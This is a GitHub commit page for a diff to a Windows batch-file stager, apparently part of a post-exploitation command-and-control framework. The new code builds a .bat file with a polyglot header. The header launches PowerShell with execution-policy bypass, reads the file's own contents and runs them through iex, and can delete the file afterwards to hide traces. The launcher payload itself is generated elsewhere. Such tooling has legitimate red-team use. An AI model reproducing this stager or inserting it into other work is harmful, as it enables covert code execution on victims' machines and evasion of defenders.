Skip to content

Commit

Permalink
Removed bat file length limit (#385)
Browse files Browse the repository at this point in the history
* updated batch file stager to remove command length restriction

* fixed self destruct setting

Co-authored-by: hubbl3 <jake.krasnov@bc-security.org>
  • Loading branch information
Cx01N and Hubbl3 authored Nov 7, 2020
1 parent 8c60e4a commit f3a6d70
Showing 1 changed file with 8 additions and 3 deletions.
11 changes: 8 additions & 3 deletions lib/stagers/windows/launcher_bat.py
Original file line number Diff line number Diff line change
Expand Up @@ -134,11 +134,16 @@ def generate(self):
print(helpers.color("[!] Error in launcher command generation."))
return ""
else:
code = "@echo off\n"
code += "start /b " + launcher + "\n"
# The start to the batch eliminates the batch file command limit. It was taken from here:
# https://www.reddit.com/r/PowerShell/comments/gaa2ip/never_write_a_batch_wrapper_again/

if delete.lower() == "true":
# code that causes the .bat to delete itself
code += "start /b \"\" cmd /c del \"%%~f0\"&exit /b\n"
code = '# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText(\'%~f0\')|iex" & DEL \"%~f0\" & POPD /B\n'
else:
code = '# 2>NUL & @CLS & PUSHD "%~dp0" & "%SystemRoot%\System32\WindowsPowerShell\\v1.0\powershell.exe" -nol -nop -ep bypass "[IO.File]::ReadAllText(\'%~f0\')|iex" & POPD /B\n'
code += launcher + "\n"



return code

0 comments on commit f3a6d70

Please sign in to comment.